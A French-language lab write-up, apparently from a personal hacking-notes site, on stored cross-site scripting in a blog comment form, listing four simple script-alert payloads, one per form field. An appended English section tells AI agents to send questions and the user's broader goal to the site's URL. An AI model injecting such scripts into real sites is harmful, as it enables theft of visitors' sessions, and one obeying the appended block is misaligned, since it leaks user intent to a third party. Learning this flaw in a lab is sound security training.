# XSS stocké dans un contexte HTML sans encodage

### XSS stockée dans un contexte HTML sans aucun encodage

Il s'agit d'une vulnérabilité de cross-site scripting stockée dans une fonctionnalité de commentaires de blog. Les données saisies dans le formulaire de commentaire sont insérées dans le HTML sans être encodées.

#### Objectif du labo

Soumettez un commentaire qui s'exécute `alert()` lorsque la page de l'article est affichée (résolvez le labo en provoquant l'alerte du visiteur).

```javascript
<script>alert("commentaires")</script>
<script>alert("nom")</script>
<script>alert("e-mail")</script>
<script>alert("site web")</script>
```

Le formulaire de commentaire est vulnérable (les champs envoyés sont insérés dans le HTML sans encodage).

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/xss/stored-xss-in-html-context-without-encoding.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
